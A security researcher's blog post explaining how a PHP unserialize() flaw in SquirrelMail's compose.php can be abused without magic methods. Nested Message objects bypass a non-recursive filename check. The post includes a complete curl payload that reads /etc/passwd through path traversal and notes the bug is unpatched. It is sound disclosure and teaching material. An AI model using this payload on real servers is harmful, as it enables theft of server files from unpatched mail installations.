If you read most introductory material on exploiting PHP unserialize() calls, you find the same basic pattern: find a call to unserialize() that takes user input, then find an object available that uses a magic method, instantiate one of these objects and use it to start calling other code until you can do something bad.
But what if you find such a call in an application that doesn’t have any magic methods available? The answer, I think, must be obvious to the people who usually write tutorials on this, as they don’t usually spend much time on it. I recently spent some time exploiting a SquirrelMail bug reported by Hanno Böck, so I thought I’d write about it here.
I need to be fair to Hanno here and point out that he did not call the bug unexploitable - he said it was unclear to him if it was feasible - but I had previously found this unserialize call also and given up trying to exploit it, so the ‘unexploitable’ label comes from past-me! He reported it upstream anyway while I didn’t, so apparently he had a better intuition for the danger than I did…
A very brief summary of the vulnerability
First, in case anyone isn’t familiar, a whirlwind tour of PHP unserialize() vulnerabilities. PHP has a function in its standard library called unserialize(). It takes a text representation of an object and turns it into a real object in memory. It’s not supposed to be used on user-controlled data, it’s more properly used for caching objects in external caches, etc. though even this use can be a bit sketchy. You’ll note in the documentation a big red warning about this, though that wasn’t always there. You’ll also note it has an ‘allowed_classes’ parameter that allows you to restrict which kind of objects it can create, that also wasn’t always there, it’s new in PHP 7.
The potential vulnerability here is that an attacker who can edit the text that goes into unserialize(), for example if you store it in a cookie or accept it as an HTTP parameter, can modify/control the object that gets created - including all of its properties, and the type, assuming allowed_classes isn’t used. It turns out, this can be extremely powerful.
The usual attack path
The usual way to exploit this, and the way you see in most ‘101’ tutorials
on this vulnerability, is to find another object that exists in the codebase we
are working with that implements a magic method. A magic method is a method in
PHP that is automatically called when something specific happens to the object,
examples that are probably familiar would be __construct()
, which is
automatically called when the object is created, __destruct()
, which is called
when the object is destroyed, and __toString()
, which is called when the object
is turned into a string.
When exploiting this vulnerability, we can’t actually use __construct()
, because this isn’t called when objects are unserialized - the equivalent method is __wakeup()
. So most exploits for this vulnerability make some use of __wakeup()
or __destruct()
, and use this to chain onto other objects in order to execute a useful payload. For example, let’s say we had the following two objects:
class SomeObject {
public function __destruct() {
$this->child->cleanup();
}
}
class SomeOtherObject {
public function cleanup() {
system($this->cleanupCommand);
}
}
It wouldn’t be possible for us to call SomeOtherObject::cleanup()
directly, but
we can call __destruct()
on SomeObject
just by creating one and waiting until
it is destroyed - and since we control $this->child
, we can make that a
reference to a SomeOtherObject
instance we also create, in which we control the
$cleanupCommand
property - so we can execute arbitrary commands. This is a contrived
example, but I hope it illustrates the idea here - usually in real applications
the chain is a bit longer and more involved. People often call the process of
finding these attack paths Property-Oriented Programming, which is a silly
name for a very fun game. You should try it out, it’s like hacker
sudoku.
But, there are no magic methods…
Sometimes however, you find a risky call to unserialize()
but there aren’t
any magic methods to use, and that is the case in SquirrelMail. If you are a true badass, you do what these
folk
did, and find memory corruption bugs in PHP itself that you can access. However, it’s very sunny outside at the moment, I am not
that leet, and besides, if I had memory corruption bugs in PHP I’m sure I could
find something more lucrative to do with them!
What we shouldn’t forget, though, is that it’s not like the application stops executing after we create our object. Whatever it does afterwards is going to include behaviour that might depend on the type of our object - we essentially have a really powerful type confusion here, where the code following our unserialize() call is expecting the object’s type to be one thing, but we can make it whatever we want.
So, the first thing I would look for, is methods that are called on our new object that have the same name as methods in other objects - if we have for example the following:
$newObject = unserialize($_GET['pwnme']);
$newObject->run();
It’s likely that ‘run’ is a common method name
in the project, so maybe we can find another ->run()
method that would be preferable for
us to call instead of the real one. Exploitation would then continue the same
as it does for magic methods, as it’s basically the same idea, except the ‘magic’
is created by the application rather than by PHP’s engine.
Unfortunately, there weren’t any instances of this behaviour in SquirrelMail either, or at least none that I could find (the code in compose.php is actually quite hard to follow). When exploiting this bug in other applications I do find that more often than not there is something though, so you should definitely explore this - dig into the code following the unserialize and make sure you understand every possible way that object could be interacted with.
Abusing properties to manipulate normal program behaviour
Sometimes when life gives us limes, we must try to make lemonade anyway and hope nobody at the party notices. We don’t have any magic methods to use and we don’t really have any other good POP chains available either, so, no lemons.
However, we aren’t dying of thirst yet - we still have full control over the properties of an object. This is a surprising amount of control, and so it’s likely that in some other part of the code, a developer didn’t realise we would have this power, and we can abuse some other part of the application behaviour to do something fun.
A fairly common way to use this would be to try for an SQL injection - find an object that has the ability to generate an SQL query, and manipulate the properties of said object so that it generates an evil one - and since we’re doing this directly, probably we can bypass any sort of input validation the application does.
However, in this case we are SquirrelMail, and we don’t even have a database! Authentication and storage in SquirrelMail is handled by the mailserver. So for inspiration, let’s take a look at the code that deals with our unserialized object and see what it actually does:
if (!empty($attachments)) {
$attachments = unserialize($attachments);
if (!empty($attachments) && is_array($attachments)) {
// sanitize the "att_local_name" since it is user-supplied and used to access the file system
// it must be alpha-numeric and 32 characters long (see the use of GenerateRandomString() below)
foreach ($attachments as $i => $attachment) {
if (empty($attachment->att_local_name) || strlen($attachment->att_local_name) !== 32) {
unset($attachments[$i]);
continue;
}
// probably marginal difference between (ctype_alnum + function_exists) and preg_match
if (function_exists('ctype_alnum')) {
if (!ctype_alnum($attachment->att_local_name))
unset($attachments[$i]);
}
else if (preg_match('/[^0-9a-zA-Z]/', $attachment->att_local_name))
unset($attachments[$i]);
}
if (!empty($attachments))
$composeMessage->entities = $attachments;
}
}
Helpfully, we have a comment here from the developers ‘sanitize the
att_local_name since it’s used to access the file system’. So that’s a nice
starting point - can we make our att_local_name
something dangerous, since the
developers obviously didn’t want it to be?
At first glance, you would think no, because in this code, they loop over the
‘attachments’ array and remove any objects inside that have unsafe names,
so even if we make a bad one, it will get sanitised. However, because we have a
can-do attitude, let’s look at where this ->entities
property of
$composeMessage
, (which gets set to our object at the end of the above snippet if it still contains some ‘safe’ objects), is actually used:
function writeBody($message, $stream, &$length_raw, $boundary='') {
/* Snipped out some boring stuff here */
$this->writeBodyPart($message, $stream, $length_raw);
for ($i=0, $entCount=count($message->entities);$i<$entCount;$i++) {
$msg = $this->writeBody($message->entities[$i], $stream, $length_raw,
}
}
writeBodyPart()
is too long to reproduce here even snipped, but it’s not really
important - the important thing to know is that this is the function that
actually uses
the att_local_name
property - it gets the contents of the file and then writes
it to our output stream (basically, wherever the message is being delivered to,
ie. the SMTP connection if we are sending the message, or the IMAP one if we
are putting it in the drafts folder, and so on).
Particularly awake readers will have noticed that this function is recursive -
if $message
has an ->entities
property, writeBody()
will be called on all of
the entities there, and if they do, on those too, and so on.
But the validation function above that checked if the filename was safe wasn’t
recursive - it only iterated over the array we originally unserialized! The
developer of the writeBody()
code didn’t assume we would be able to fully
control the properties of a Message
object to this degree, but thanks to
our unserialize() vulnerability we can - so we can create a Message
that has a filename that is
safe, which contains in its ->entities
property another Message
, whose
att_local_name
points to any file we want - and this property will never be
checked, and so a file of our choice will be written to the output stream.
How does exploiting this look? Well, like this:
curl http://mysquirrelmail/src/compose.php --cookie '[mycookieshere]' --data 'send=Send&send_to=root&attachments=a:1:{i:0;O:7:"Message":2:{s:14:"att_local_name";s:32:"12345678901234567890123456789012";s:8:"entities";a:1:{i:0;O:7:"Message":1:{s:14:"att_local_name";s:28:"../../../../../../etc/passwd";}}}};'
That is a bit unwieldy, so to explain, we pass unserialize()
an array, containing a Message
object. This Message
object has an att_local_name
that passes SquirrelMail’s validation - it’s 32 characters long, and totally alphanumeric. It also has an entities
property. This is another array, containing one Message
object, but /this/ Message
object has an att_local_name
that hops up a bunch of directories with .. and then grabs the passwd file. The ‘root’ destination address isn’t required by the way, I just did that because it would deliver on my local IMAP server - you can also save it as a draft and get it from the draft folder, or on a real server, exfiltrate it by sending it to an email address you control.
The result of this exploit looks like this:
Which, I hope you can agree, definitely constitutes a valid attack path. I wasn’t able to find RCE, unfortunately - but as I’ve already proven to myself, it’s easy to give up on these vulnerabilities too soon, so maybe one day. :)
A half-hearted apology
AMENDMENT 24 Jul 17:27 UTC: Actually, this bug isn’t fixed by Hanno’s patch, he notes in the report that it doesn’t fix the attachments array, only the others. So, there is currently no patch available for this issue.
This is technically a 0-day, I suppose, since SquirrelMail don’t seem to have
taken Hanno’s advice on board yet. If you run SquirrelMail, sorry, you should probably
be concerned about it. The proper fix would be to remove the calls to unserialize()
and replace them
with something like JSON, which I believe Hanno successfully did in his patch, but I haven’t
tested it myself. Personally, I would suggest that you stop running
SquirrelMail, as they appear to be quite slow to respond to security issues,
and it’s sort of unmaintained - CPanel dropped support for it for this reason.
If you have any questions or comments on this blog post I’ve love to hear them, feel free to tweet or mail me! I need to start documenting more stuff, so encouragement via interaction is neat.